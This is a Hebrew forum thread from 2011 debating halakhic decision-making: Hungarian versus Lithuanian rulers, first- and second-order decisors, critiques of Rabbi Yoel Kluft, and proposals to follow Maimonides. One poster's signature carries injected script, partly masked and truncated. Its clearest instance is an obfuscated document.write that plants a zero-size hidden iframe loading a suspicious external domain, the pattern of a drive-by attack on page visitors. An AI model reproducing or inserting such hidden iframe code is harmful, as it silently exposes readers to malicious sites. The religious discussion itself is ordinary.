בית פורומים עצור כאן חושבים

הרב יואל קלופט, הגמראים והמיימוניים

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-21/6/2011 20:49 לינק ישיר 

א, מוסכם שלהתעלם מהפרשנות אינה ענין להמון אלא להפוסקים,

ב, בין הפוסקים, תמיד היו גישות שונות: (שנבעו ממסורת שונות או מהבדלי אישיות) הגישה הספרדית (הרמב"ן כדוגמא) ובדור האחרון ההונגרית, שדגלה בפסיקה ובפרשנות ע"פ הפרשנות המוקדמת, והגישה האשכנזית ובדור האחרון הלטאית פסיקה עצמאית יותר ולעיתים חולקת ומעלמת מהפרשנות הקודמת, כך לדוגמא לא נמצא כמעט את הסמ"ע חולק על השו"ע, והש"ך חולק כסדר על השו"ע ולא רק מפני שמצא שיטות אחרות בפוסקים, אלא גם מדעתו אם יש לו ראיות חזקות די הצורך,

אמנם יש כאן דגש מסויים, שגם העצמאים יותר מבין הפוסקים לא בכל קושי קטן או איזה בדל ראיה סותרת כבר חלקו על הקודמים, ודאי שיש משמעות ומעמד של כבוד לדעות הקודמות, אלא שזה אינו חזות הכל, ואם יש ראיות חזקות מאוד נוטים מהדרך שסללו הראשונים,

וכך נהגו הפוסקים העצמאים כל הדורות כדוגמת הרשב"א המהרש"ל, הש"ך, הנתה"מ, הגר"א ועד (כמעט) ימינו אנו, החזו"א והגרש"ז,

לא הבנתי האם מיימוני מבקש לחזור (או להמשיך) את המסורת הנ"ל, או שמעוניין להתעלם לגמרי מכל המסורת הפרשנית של אלפיים שנה ולבנות יהדות חדשה,

ג, הפרי מגדים לדעתי לא חשב מעצמו פוסק, (הוא גם לא היה רוב ימיו רב) אלא מלמד, וכמלמד לא מצא ענין לחלוק על הקודמים אליו, אלא להסבירם,

ד, המצב כיום: היום נוצר מצב של שיטפון הידע, דהיינו אם פעם הרב היה יכול להורות את דעתו (לקולא, נניח) נגד הקודמים אליו ברוב המקרים לא היה צריך לנמק את דבריו, אך כיום שכל בחור בשיעור א' ישי"ק יכול לדעת בדיוק מה אומר כל רב או מה כתוב בכל ספר שנכתב אי פעם, ואם הרב יפסוק הפוך מייד יקום התורן וישאל הלוא בספר פלוני כתוב אחרת?

ולכן היום כל מחבר ספר צריך להביא את הדעות שאל"כ מיד יקומו כל החכמים ויצעקו הלו פלוני כתב אחרת,

ולכן מה שעשה האורחות שבת הוא שקיבץ כל הדעות וכל השיטות בלי להכריע ונתן תורת כל א' בידו, (ועל כן קוראים לו "קוטרס הספיקות")

ובמצב שכל א' יודע תמיד את הדעות המחמירות, האנשים עצמם נוטים להחמיר, וכמו שאמר הגרש"ז פעם שהיום יש "קולא שאין הצבור יכול לעמוד בה"

המצב הנתון של הנטייה להחמרה אינו דווקא אצל הרבנים אלא יותר אצל השואלים,

ומעשים שבכל יום, שאדם מגיע לבית הוראה ושאלתו בידו, והרב יודע שיש מחמירים בזה, אם יקל לו, מיד ישאל השואל הלא רב פלוני מחמיר בזה, ולכן עונה הרב בדר"כ פלוני מחמיר ופלוני מקל, והשואל שוב בדר"כ מחמיר לעצמו,

{ה, אותם תלמידי החזו"א שיצאו בקול גדול נגד הרב נויבירט בשמירת שבת כהלכתה גרמו במידה רבה, לאותה "יראת הוראה" שיש היום למחברי הספרים}

 

  




דדווח על תוכן פוגעני

מחובר
נשלח ב-21/6/2011 20:58 לינק ישיר 

להשלמת הענין אני רוצה להביא כאן שני מאמרים מאלפים
, א, של הניק אילפא בפורום "בהיכלות ליטאים" ז"ל:

סוגיית הרב גרוס אכן חדשה ומעוררת ענין, אין עיתי בידי כעת להאריך במילים, אך אכתוב בקיצור את תורף הענין, ואתן לידידי להשלים את דברי הקצרים, לקבל או לסתור. 

סוגיה זו אמורה להיות נידונה בשני שלבים ואנסה לעשות זאת בקצרה, רק אבהיר קודם כי אני מאוד מקוה כי אין מטרת אשכול זה פגיעה ברב זה או אחר, וכי אם זו מטרת פותח האשכול הרי שאיסורים חמורים נתלים בו במזיד, אני בכל מקרה כדרכי אתייחס לענין ברלוונטיות המתאימה ללא ביקורת גלויה או מרומזת נגד רב זה או אחר.

א. שיטות הפסיקה העכשוויות נחלקות לשני מחלקות שונות האחת ראייתית נסיבתית והשניה הצמדות למקורות באופן מחמיר כולל מקור שולי וזניח אך רלוונטי ומדויק.

אם נחלק את שני השיטות לפי מקור מוצאן התרבותי גאוגרפי, נבוא לידי כך שהראשונה הנקראת ליטאית מקורה מבית מדרשו של הגר"א דרך רבי עקיבא איגר, רבי יצחק אלחנן ספקטור ורבי חיים עוזר, ואחריהם החזון איש הרב משה פיינשטין והרב שלמה זלמן אוירבך ועד לימינו הרב אלישיב והרב קרליץ, מנגד קיימת השיטה השניה מבית היוצר של יהדות הונגריה אשר מקורה בעיקר החתם סופר ועוד, דרך פוסקי ירושלים המפורסמים וביניהם הרב זוננפלד עד לימינו אנו, בו ראש שיטת פסיקה זו הוא הרב וואזנר ותלמידיו הרבים ביניהם הרב גרוס.

ההבדל המהותי בין שני שיטות הפסיקה בולט בבעיה הלכתית אשר רוב הפוסקים במשך הדורות לא נתנו את דעתם עליה או משום שעדין לא נשאלה או משום שהתחדשה עקב התקדמות המדע והטכנולוגיה, השיטה הליטאית בוחנת את הבעיה ההלכתית  באור הסברא והרלוונטיות והפסיקה נגזרת מכח שיקול הדעת אשר מקורו מים התלמוד והשו"ע, וגם אם פוסק קדום מסוים התייחס לשאלה זו גופא ופסק להיפך, עדין כח שיקול הדעת של הפוסק מכריע כי במקרה זה פוסקים גדולים וחשובים מאותו יחיד היו מכריעים להיפוך ומכאן הכרעתה הסותרת את אותו פוסק קדום.

לעומת זאת השיטה ההונגרית-שמרנית דוגלת בהצמדות מוחלטת לשורה הרלוונטית עם מימד מצוצמם יותר של היקף פסיקה, ולדוגמה אם קיימת שאלה אשר לכאורה רוב הפוסקים בדורות הקודמים היו פותרים אותה להיתר, כיון ש"המחצית השקל" או "החוות יאיר" (למשל) מתייחסים לנושא רלוונטי זה לאיסור, שוב הפסיקה תהיה מחמירה יותר, - כמובן שיש הרבה מה להאריך בזה, כתבתי ממש על קצה קצהו של המזלג ההלכתי-הסטורי בשביל להבין את מניעי הפסיקה התמוהים לכאורה.

הרב גרוס נאמן לשיטת רבותיו הפוסקים הדוגלים בשמרנות יתר להלכה הכתובה וללא מתן אפשרות שיקול דעת רחב יותר במקרה והנושא המדובר נידון בעבר, אגב שיטה זו מצריכה ידע כפול ומכופל משום שעל הפוסק להיות בקי בכל כתבי השותי"ם הפחות מוכרים בכדי לדעת האם כבר נקבעה הלכה בזה אם לא. מכאן נובעת פלגנותו של הרב גרוס על פסקי הרב פינשטין, הרב אוירבך והרב אלישיב לא משום שהוא סובר שהם טעו אלא משום שהוא מחזיק בכיוון הוראה שונה מאלו וחכמי הונגריה זצ"ל מסייעים על ידו.


ב. אלא שכאן קיימת בעיה שניה והיא בעיקרה לא קשורה לרב גרוס אלא לציבור הנשמע לו, מכיון שהרב גרוס משום מה לא מצא את מקומו הראוי לו כפוסק בין חסידים ויוצאי הונגריה כמו רבו הרב ואזנר הרב קליין והרב שטרן ועוד, נכנס להוראה אצל הציבור הליטאי (=הפוליטי) ואף למיטב ידיעתי משמש כחבר בד"ץ שארית ישראל הליטאי ומכאן מתחיל הקונפליקט הכפול, מחד גיסא חלק גדול בציבור הליטאי פוליטי אכן מקורו בחצרות רבני הונגריה ושיטת פסיקתה ומכאן חיבורו לפסקי הרב גרוס שאכן ממלא את תפקידו בנאמנות כרב הונגרי אותנטי, מאידך גיסא השתייכותו של הרב גרוס כפוסק ליטאי יוצרת תחושה של אי נוחות אצל ליטאים האמונים על הכלל של אל תטוש תורת אמך, ומוצאים את עצמם בבעיה יום יומית, בה רב המיועד לציבור הליטאי פוסק את פסוקו לפי משנתו ההונגרית חסידית.


בדורנו אנו, דור בו נקבצו הגליות מארבע כנפות אירופה לארץ ישראל היה צפוי כי תקריות מעין אלו אכן תיצורנה את המשבר הפסיקתי אותו ציין פותח האשכול, וכי נוכל לשמור על יחוס נבדל ומדויק בין יוצאי הונגריה רומניה פולין וליטא וכו', ברור שלא, אין לי אלא להמליץ למי שאינו מוצא את מקומו בשלחנו הערוך של הרב גרוס לחפש לעצמו שולחן לא פחות ערוך אצל פוסקים אחרים, ביניהם כיום הרב אלישיב הרב קרליץ ושאר תלמידי החזון איש והרב מבריסק. ושוב נמצאנו למידים את הכלל הידוע והמפורסם "נהרא נהרא ופשטיה".

 



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/6/2011 21:01 לינק ישיר 

מאמר נוסף שהייתי רוצה להביא הוא של (מו"ר מפי כתביו) הרב מריה דאברהם כאן בפורום באשכול על הרב יוסף
(צריך דחוף לעדכן את המפתחות)

אוסיף כאן עוד תובנה שעלתה אצלי במהלך ההשוואה.
1. יש לחלק בין פוסקים מסדר ראשון לפוסקים מסדר שני (החלוקה היא סכמטית, ובמציאות לא תמיד קל להבחין בין הסוגים ויש גווני ביניים, ועדיין לענ"ד היא קיימת בעליל): פוסקים מסדר ראשון דנים בסוגיא ומעצבים גישה משלהם לאור היסודות העיוניים של הסוגיא. בסופו של דבר הם פוסקים על סמך סברתם. פוסקים מסדר שני מביאים ומלקטים את הפוסקים מסדר ראשון, ואז או שהם כלל לא מכריעים (זהו זן המלקטים, שלפעמים מכריעים לחומרא תמיד, שזה כמו לא להכריע), או שהם מכריעים באמצעות כללי הכרעה פורמליים ולא לפי סברתם בסוגיא.
2. פוסקים מסדר ראשון ממעטים להתייחס לשו"תים, ועוסקים בעיקר בסוגיות ובמפרשיהן. השו"ת, גם אם הוא מובא, אין זה אלא ככלי לבירור הסוגיא ויסודותיה (כמו כל ראשון או אחרון אחר). אבל פוסקים מסדר שני מביאים שו"תים כמקור סמכות. הם פוסקים בגלל שבשו"ת פלוני כתב כך, ולא בגלל שאותו שו"ת חידד להם סברא או הבנה בסוגיא והפסק הוא על סמך ההבנה. ניתן לומר שאצל פוסק מסדר ראשון, השו"ת הוא מקור השראה, ואצל פוסק מסדר שני השו"ת הוא מקור סמכות. מסיבה זו, אגב, פוסקים רבים אינ טורחים להיות כה בקיאים בשו"תים, שכן בעיניהם זה פחות חשוב (אם כי, כמובן, לא חסר חשיבות לגמרי). לכן גם בישיבות כמעט לא עוסקים בשו"תים, וגם אם כן, זה כדי לראות עוד פן סברתי עיוני בסוגיא, ולא כמקור סמכות. לענ"ד זה לא רק בגלל שלא עוסקים בפסיקת הלכה, אלא בגלל שגם הפסוק שאותו מנסים לעצב הוא מסדר ראשון ולא מסדר שני (זוהי הכללה שאינה הולמת את מה שנעשה בפועל, אך לדעתי זוהי ההנחה הלא מודעת מאחורי מה שנעשה ואיך שזה נעשה).

 



דדווח על תוכן פוגעני

מחובר
נשלח ב-21/6/2011 22:48 לינק ישיר 

רוצה להבין

כל מה שהבאת חשוב מאד (שינוי פורמט הלינקים הוא מכה גדולה ואפילו לא ניסיתי לבקש מההנהלה לעדכן את האשכולות אצלנו. אצרף את הבקשה הלגיטימית הזו לכלל הטענות שיש לנו נגד מארחינו כמעט באונס, פלטפורמת בח"ח).

דבר אחד אני יכול לפשוט. אני בהחלט בעד לבטל 800 שנות פסיקה בערך ולחזור ללימוד הש"ס ופסיקה בסגנון שנהגו חלק מהראשונים. זה אחד הנושאים המרכזיים, ואולי הראשי שבו עסקתי, ולכן הבאתי את דברי הרב קלופט שיצא נגד אפשרות כזו (אם כי ספק אם העלה בדעתו שיהיה אתר באינטרט בו מישהו יעלה ברצינות אפשרות כזו).

הכלל שפוסק חייב לנמק את פסיקותיו על פי הספרות שלפניו לא התחיל עם בחורי הישיבה הידענים. זכור לי שראיתי משהו בנושא אבל איני זוכר היכן. זה נושא או מטא נושא שנידון בספרות השו"ת ואצל פוסקים.

אולי מישהו ידע היכן?

לגבי החלוקה בין טכנוקרטים לבין פוסקים מדרג גבוה, אני מסכים בהחלט. ההבדל ביניהם הוא בכמה תחומים, וקצת מזה השתדלתי לציין לעיל, אם כי דרוש לזה אשכול בפני עצמו. (האשכול על הרשז"א נועד גם למטרה זו).

אנסה לציין בקיצור:

א. הבנה במטא הלכה

ב. מודעות לכך שהם יודעים.

ג. מודעות לכך שאחרים לא.

ד. תעוזה ואחריות לקחת על כתפיהם נושאים כבדים.

ואחרי כל זה עליהם להכריע בשאלות קשות.

***
לדעתי אין די בכך שהפוסקים בני זמננו ישאו על גבם את המורשת הלא נכונה לדעתי של מאות שנות פסק. צריך להתנער, להסביר שהם לא מחייבים אלא בטעות, ולהתחיל לעיין שוב.

לשם כך צריך:

1. תלמידי חכמים

2. שילמדו נכון (וצריך לפרט מה זה כולל).

3. שיהיו חכמים וענוים ואמיצים

ואז יחד אפשר לנסות לשנות.

בינתים יש זעיר פה ושם נסיונות לשנות את הגישה לפסק, לפעמים בידי אקדמאים (שני ספרים של דניאל שפרבר) ולפעמים בידי פוסקים (אני משער שזה מה שמניע את הרב מלמד, בוודאי את הרב שרלו, ואולי גם את הרב שנזכר לעיל מן הדתיים לאומיים).

***
הבעיה בהכרזה כמו שלי, לחזור אחורה 800 שנה, היא שזה להכריז על זרם חדש ביהדות. ואנו כולנו יודעים למה מובילים זרמים חדשים...

מתוך מה שכתבת חשוב מאד מה שציינת שהפניה צריכה להיות לא לציבור אלא לאותה שכבה מצומצמת ואיכותית של פוסקים שבידם לשנות. דיון כזה אכן לא אמור להיות חשוף באינטרנט. ומצד שני, אולי מפני שאין שום דרך אחרת להגיע ולהשפיע, לא בממדים המינימליים הדרושים שהם רבים, אולי זו כן דרך. וה' הטוב יכפר בעד ויעזור למען האמת ולמען ערכי התורה שכלולים במטא-הלכה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-21/6/2011 22:50 לינק ישיר 

מה עם זן של מלקטים-מקלים?



דדווח על תוכן פוגעני

מנותק
נשלח ב-21/6/2011 23:48 לינק ישיר 

מיימוני
שמעתי מיהודי חכם, מה ההבדל בין מהפכן לשמרן.
המהפכן רוצה להחזיר עטרה שמלפני אלפים שנה ליושנה, ואילו השמרן משמר את מאה השנים האחרונות.



דדווח על תוכן פוגעני

מחובר
נשלח ב-22/6/2011 00:26 לינק ישיר 

מיימוני וכולם
יש כאן צד שני חשוב מאד. בכל הדרכים הקיימים היום התורה הרבה גדולה מדי, וכמעט אין דרך להגיע לפסק, לא בדרך של הפסקי תשובות ולא בדרך של מיימוני, בלי לימוד ארוך מאד. התורה לא ניתנה רק בשביל שנעסוק כל הזמן בויכוח מה כוונתה, אלא שנתחיל לקיים אותה. היה ראוי ביותר שנקבל כולנו פוסק אחד כמו הרמב"ם, ככוונת הרמב"ם9 בכתיבת חיבורו, ונלך אחריו בכל ענין
. [מי שרוצה בדווקא לבדוק וללמוד ולפסוק לעצמו הרשות בידו, אבל זו לא אופציה לרובנו]
לדעתי חבל חבל שלא קיבלו את הצעת הרמב"ם. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-22/6/2011 15:59 לינק ישיר 

יהי אור

האם באמת התורה גדולה מדי?
או שעשינו אותה גדולה מדי?

האם ללכת בעקבות הרמב"ם זה מספיק?

כמה שאלות:

א. האם הרמב"ם לא מחמיר מדי או מקל מדי (שניהם אפשריים)?
ב. האם הציבור יקבל הליכה כזו ביתר קלות או ביתר קושי מאשר הפתרון להכין ספר הלכה כולל?
ג. האם הרמב"ם מציע תשובות לכל השאלות?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-23/6/2011 01:44 לינק ישיר 

מיימוני כתב:
יהי אור

האם באמת התורה גדולה מדי?
או שעשינו אותה גדולה מדי?
 
עשינו אותה גדולה מדי. תחת לעבוד בכיוון שהרמב'ם הציע, לעשות אותה יותר קצרה, מתומצתת, ונגישה, אנחנו כל הזמן עובדים בכיוון הההפוך. וזה מרחק אותנו מהתורה והתורה מאתנו, לא לזה ניחנה תורה.

האם ללכת בעקבות הרמב"ם זה מספיק?

הרי אנחנו[חכמי כל דור] אלה שמחליטים איך לפסוק, למה לא להחליט לעשות את התורה יותר פשוטה, ובשביל זה יועיל הרבה ללכת אחרי הרמב"ם.
כמה שאלות:

א. האם הרמב"ם לא מחמיר מדי או מקל מדי (שניהם אפשריים)?

לא התרשמתי לא שהוא מיקל ולא שהוא מחמיר. גם לא נראה לי שזה צריך להיות שאלה בשבילנו. יש לנהוג כפי שיוצא לנו מהתורה, מה זה הדבר הזה מחמיר או מיקל. 
ב. האם הציבור יקבל הליכה כזו ביתר קלות או ביתר קושי מאשר הפתרון להכין ספר הלכה כולל?
לא מבין. הרמב"ם זה הספר הלכה הכי כולל והכי מוסבר לכל אחד שנתחברה אי פעם בימי עמנו. 
ג. האם הרמב"ם מציע תשובות לכל השאלות?
לא. לא לכל שאלות החדשות ואף לא לכל הפרטים שהיו מעולם. אבל לזה באמת לא מועיל גם פסקי תשובות. כי הפרטים מתחדשים לבקרים. הרמב"ם קיבץ את כל הכללים הנצרכים לפסיקה. וכנראה שהבין שלפי ההגדרות שנתן לכל הלכה ניתן להכריע בכל שאלה המתעוררת. מי יכריע? כל מי שלמד אותו. אם לא יכול להכריע לבד ישאל לחברו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");




דדווח על תוכן פוגעני

מחובר
נשלח ב-27/6/2011 18:14 לינק ישיר 

שלום וברכה,


עדיין לא קראתי כל התגובות, ומ"מ ברצוני להביע את דעתי בכל הנאמר, וכ"ז תורה היא וללמדה צריכין.


ראוי לנו לחקור מביחנה היסטורית-מחקרית בדרך מסירת התורה ולבחון האם יש יסוד למונח של "גמראים". נראה ברור איפה שלא תמיד אפשר להגיע למסקנות ההלכה ע"פ כללי תורה שבעל פה בלבד. זה מוצאים כבר בגמרא שבהרבה מקומות צריכים להכריע איזה ספק מן הסברא, ולא תמיד עומדים בתיקו במקרים אלה [נראה שהתיקו נאמר רק כשאין הסברא מכרעת]. ובכלל, למה לא נגדיר את רבותינו בעלי הש"ס ל"משנאים"במקרים מסוימים?

כל לומד גמרא בכל זמן, ובכלל זה הראשונים, עובר דרך מיזוג בין מה שהוא מקבל בתחילה מרבותיו, למה שהוא משיג לאחר מכן בעצמו. לא נשמע מימות הגאונים על אישיות תורנית כלשהי שיכלה לומר ש"כל דבריה דברי קבלה". לכל אחד מהראשונים דרך משלוף שהוא עיצב אותה ע"י מה שקיבל מרבותיו ביחד עם מה שנראה לו בסברת הגמרא [היינו כפי שהוא רואה את מערכת החשיבה של חז"ל]. אמנם ישנן ראשונים שנחשבים ל"מחדשים" (כגון רבינו תם, הרז"ה), וישנן כאלה שנחשבים ל"מסורתיים" (כגון הר"ח והרי"ף), יש פרשנים (רש"י ואסכולתו), ויש הגיוניים (הרמב"ם, וראשוני ספרד)... בקיצור, מתוך השינון וההסתכלות שלהם בתלמוד התפתחו מגוון גישות ושיטות, וכלל כלל לא מתוך מסורת כזו או אחרת [אלא שכל אלו הגישות הפכו אח"כ למסורת ואכמ"ל].

ענין "תורה שבעל פה" הוא ענין מורכב, ופשוט דאף אם נקבל ש"כל מה שתלמיד ותיק עתיד לחדש לפני רבו נאמר למשה מסיני", הרי מכל מקום התלמיד "מחדש" הדבר הזה.וכמדומה שיש במאמר זה של חז"ל רמז נאה שהתנאי שנוכל להחשיב החידוש ההוא ל"ניתן מסיני" הוא שיהיה התלמיד "לפני רבו", דהיינו משתייך למסגרת שקבעו רבותיו.


אחת השאלות שהציב פותח האשכול היא האם היום שיש לנו ספרים צריכים אנו "רב". או שמא אפשר ללמוד הייישר מתוך הספרים. לדעתי זה ברור שאפשר ללמוד היישר מתוך הספרים, דאם לא הרי "אין לדבר סוף", שכל רב בוודאי למד מרבית (ועכ"פ חלק נכבד) תורתו מתוך הספר ולא בע"פ. ועדיין אין זה אומר שזה פוטר לגמרי מהענין של רב במובן של "מדריך ללימוד", דמן הסתם הוא דבר נצרך.


לגבי הגישה לפסיקה ההלכתית, רואה אני שעיקר הנקודה במקום אחר. דהיינו לא "האם מותר לנו להבין לבד מתוך הגמרא?", דזה פשיטא ופשיטא שכן, רק נכון יותר לשאול "האם מותר לנו לסמוך כל מה שהבננו מתוך הש"ס/הראשונים כדי לפסוק?". וזוהי שאלה לא קלה, שכן היא נוגעת גם לתחום ההלכה (מצוי לרוב בספרות ההלכתית כללים בנושאים מעין אלה, ראה לדוגמא בדרכי משה סוף הל' תלמוד תורה), וגם לתחום ה"השקפה" והמוסר, דהיינו האם ראוי מבחינה אטית לבוא ולחלוק על הקודמים, ואם כן, באיזה תנאים ועד היכן?

פותח האשכול ציין לדברי הגר"א ש"לא לישא פני איש בהלכה", ואף הזכיר הקטע המצונזר "ואפי נגד רבותינו בעלי השו"ע". ומ"מ נראה דעל הראשונים לא הרהיב הגר"א בנפשו לחלוק לבד. וכבן, אינו זוכר לעצמי כעת מקום שהגר"א חולק על הראשונים ללא הסתמך על מאן דהוא.

דוגמא יותר קיצונית: עוד לא נמצא שיטה בראשונים שאפשר לחלוק על התלמוד בפירוש איזה משנה. וראה בהקדמת הרמב"ם לס' היד באיזה דרך הוא מפרש למה יש כזה קונסנסוס [וההסבר אינו מוכרח לדעתי]. וזה הסיבה שמתייחסים באי-רצינות לתחומים כמו המחקר התלמודי וכדו', אם כי לפעמים יש טעם בדבריהם.


ובתורת סיום, נדמה לענ"ד שריבוי החומרות שיש כיום נובע בחלקו מכך שאין תעוזה להכריע. רצוני, דכל רב או פוסק שמגיע לאיזו שהיא הבנה (והרבה פעמים בצדק ואכמ"ל) דלא שהמקובל, שני דרכים לפניו: א' אם היוצא מדבריו הוא חומרא, הוא שש ושמח על ש"זכה" למצוא חומרא חדשה שאיש לפניו לא שערה, ואם ראוי לכך הרי זכות תתגלגל על ידו ג"כ ל"שווק" את חומרא זו לציבור. ב' אם היוצא מדבריו הוא קולא, הרי שח"ו אין רצונו להכניס את ראשו בין ההרים הגדולים הפוסקים שלפניו, והנח להם לישראל, והוא משאיר הדין על מתכונתו. וכך "זוכים" אנחנו לכמה חומרות חדשות מדי פעם...

התנהגות חסרת אחריות זו היא היא בכלל מבלי עולם, והיא היא בעוכרי התורה והדת, וברור איפה שדרך כזה רק מזיק לאמת ההלכה, כי מי שלא מתרגל "להכריע" ההלכה, הרי אינו לומד על מנת לעשות כ"א לומד ע"מ להחמיר, וזה פוגם מאוד באיכות הלימוד למעשה.


יש עוד הרבה מה לדון בנושאים שהעלה פותח האשכול, ועוד חזון למועד, אבל בקצרה: א'. האם לפסוק מתוך הגמרא? אם מדובר בגמרא "נטו" בודאי לא, אם מדובר אחר העיון בראשונים בלבד, אני מקבל שזו "אופציה" אפשרית, אבל בכלל לא מוכרחת. ב'. האם יש צורך במסורת בתלמוד? אם כפי שרואה את זה הרב קלופט אז לא (וראה עוד להלן), אבל יש בהחלט צורך בהכוונה בתחילת הלימוד. ג'. האם ראוי לאסוף ת"ח שיפסקו מן הגמרא? לאסוף קיבוץ של ת"ח שיכריעו בשאלות המתחדשות בכל יום, כן, זו היתה צורת התורה בימות הסנהדרין ויש להצטער שהדבר כיום בלתי אפשרי (נדמה משום המחלוקות והקנאה והתחרות). איני מבין למה זה צריך להיות דוקא מן הגמרא (וכי הכל נמצא בגמרא), ואני עוד פחות מבין למה יבחרו דוקא בשיטת הרמב"ם, אתמהא.



תוקן על ידי הא_הא ב- 27/06/2011 18:18:10




דדווח על תוכן פוגעני

מחובר
נשלח ב-27/6/2011 18:16 לינק ישיר 

וכאן אני רוצה להתייחס לכמה מטענותיו של הרב קלופט:

1. שומה עלינו לדעת, שתורה שבע״פ אף שניתנה לכתוב, בכל זאת נשארה תורה שבעל פה, כי מי שילמד הגמרא בלי מפרשים, אם איננו ״קראי״, הרי הוא ״גמראי״.

סובר אני שכל זה אולי נכון ביחס למי שלומד בלי להסתכל בראשונים המרכזיים איך למדו הסוגיא, במה נתקשו, מה חילקו, ומה הסבירו. אולם בודאי מי שלומד גמרא בלי ריבוי מפרשים ואחרונים, יותר על נקלה ישיג לכוון האמת, כי הריבוי הוא אויב האיכות, ומי שמרבה לעיין בספרי האחרונים יוצא קרח שעיקר התלמוד אין בידו. מבחינתי ההקבלה שהוא עושה בין ה"קראים" למי ש"לומד בלא מפרשים" צריכה להיות יותר ל"מי שמכריע ההלכה בלי ללמוד הראשונים וגדולי הפוסקים".

2. כי לא ידע הרבה יותר ממי שלומד תורה שבכתב בלי קבלת חז״ל, כי פירוש הדברים, ומהלך סברתם, הם דברים שבלב שאין להעלותם על הכתב, והם הקובעים את מהלך ההלכה, ואיך לפשוט כל שאלה.

דברים הללו הם קביעה שרירותית ללא כל הוכחה. וכי הוא בעצמו קיבל מרבותיו את כל קבלת חז"ל וכל הדברים שבלב האלו? ואיך ינצל שלא יהיה גמראי ברוב המקומות? ולדעתי כאמור לא זה הנושא, רק ענין של שושלת הפסיקה שהיא "מחייבת", ותו לא מידי.

3. ולכן יש לנו קבלה מדור לדור איך לפרש הדברים, ואיך לבנות את ההלכה, כי בלי פירושים מקובלים והגדרה מדויקת מאד איך להגיד סברא, אין לכוין את ההלכה.

זה פשוט שקר. אין לנו שום מסורת מאף דור לדרך הלימוד של "ר' חיים", ולא לזו של החזו"א שנחשב לאחד מגדולי הפוסקים. ואכמ"ל.

4. ו ה נ ה הרגל הסברא (בטוי מובן ללומדים), של כל הדורות עד היום הזה, הם שרשרת אחת, ולכל גדולים מכל דור, יש להם חוליא בשרשרת, ואם נדלג על דור אחד, תחסר חוליא בשרשרת, וניתקה השרשרת.

איני מסכים. ברור שאי אפשר לעקוף לגמרי על השושלת, אבל איך ניתן לקבוע מי כן שייך לשרשרת ומי לא? וכי מי שחסר לו ספרים מגדולי הספרדים וכדו' ייחשב ל"מנותק" מהשרשרת?

ובכלל, זה ממש לא נכון לומר שהרגל הסברא של כל הדורות הוא שרשרת אחת. זה נשמע מאוד משכנע, מאוד "קבלי" ו"מתאים למה שקורא בעולמות העליונים", אבל בשטח זה פשוט לא כן. כפי שטענתי לעיל, אין דרכו של גדול בתורה זה כדרכו של זה, ויש שיטות משיטות שונות אף בין הראשונים (כידוע לכל מי שקצת עיין).

5. וא״כ מי שילמוד הגמרא היום רק עם הראשונים בלי האחרונים, וגם לא אצל רב שלמד האחרונים וימסור לו בע״פ תורתם, הרי זה ממבלי עולם, ולא ידע צורתא דשמעתתא. המסקנא מדברינו כי רבותינו האחרונים הם המורים והם המאורות ובלעדם נגשש באפלה.

קיצוני יותר מדי. ברור שראוי ונכון הוא לעיין באחרונים, וכל אחד לפי מדתו והרגלו בעיון, אבל מי שסובר שכל מי שילמוד הגמרא [שוב פעם, יותר מתאים כאן "יפסוק" או "יכריע" בגמרא] בלי לדעת היסודות של ר' אלחנן ז"ל, או ר' שמעון ז"ל, או אחרים מגדולי האחרונים, נדמה לאחר המחילה שהוא בעצמו בכלל מבלי עולם.





דדווח על תוכן פוגעני

מחובר
נשלח ב-27/6/2011 23:28 לינק ישיר 

מימוני

א. הארכת בדברים, אם תוכל (לטובת הענין- שכה חשוב לך) לקצר ולתמצת תבוא על שכרך

ב. מהראוי היה "לגזול את החנית מיד המצרי" ולנתח אותך בצורת הניתוח האופינית לך, אך "אין האסור מוציא עצמו".. ולכן כתבתי אני "תחילת דברים" "בקציר אמרים" בתקווה שאתה ואחרים תשלימו.

1. מה כואב? החומרת? מנהגים? הכנסת הקבלה? חוסר עצמאות? מחויבת יתר? פריקת עול? נסיון לעצב את היהדות מחדש? גדלות התורה לממדים בלתי נתפסים?

2. למי הדברים מיועדים: לחברי הפורום? להמו העם? לרב אלישיב? לפוסקים הצעירים?

3. האם באמת יש כאן כוונה רצינית? וכי יש סיכוי שהת"ח הגדולים ירתמו לענין? וכי חברי הפורם יהפכו לפוסקי הדור? או אולי נקים יהדות חדשה של חברי הפורם עם רבנים ופסיקה מחודשת וננתק עצמינו משאר העם?

4.  למה לעצור לפני שמונה מאות שנה? האם משום שאז חי הרמב"ם? למה לא להמשיך הלאה עד הגמ' או עד המשנה או עד המקרא?

5.או הכל או כלום? למה למחוק את כל העבר ? לדעתי שאפשר לקבל (בערך) את דרכו של החזו"א  

 

ג. לדעתי הנושא הרציני שצריך לדון בו למה באמת כל הדורות נבנו פחות או יותר על הדורות שקדמו להם, הרבה יש להאריך בזה, חלק מהעבודה עשה ר' שלמה פישר והדברים ידועים וצריכים ליבון

 

ד. אני הייתי מציע במקום לעשות רפורמה ולמחוק הכל, לעשות סדר: מה דין, מה חומרא, מה מנהג, מה קבלה, מה טעות ומה קרוב לטעות? מה המצאה מאוחרת וכו וכו',  איזה פוסק (אין כוונתי לפוסקי זמנינו אלא לקדמונים) מקובל עלינו יותר ואיזה פחות, את מי לקרב ואת מי לרחק, (יש בזה חילוקים, יש אחד שראיותיו מוצקות ויש שסברותיו מוצקות )   

 

ה. האמת לא אוכל להסתיר את אשר בליבי שלדעתי ספק גדול אם חברי הפורום מסוגלים בכלל לכל הנ"ל, אם מימוני הגדול משבח כל כך את הפמ"ג מה יענו... מי שמעריך את הרב גרוס מה כבר אפשר לצפות ממנו. – סליחה על הסגנון

 

נ.ב – עוד לא הבנתי למה אתה שוב חוזר על טעותך הישנה כאילו האחרונים הם שהמציאו שטבילת כלים מהתורה

 

 




דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > הרב יואל קלופט, הגמראים והמיימוניים
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
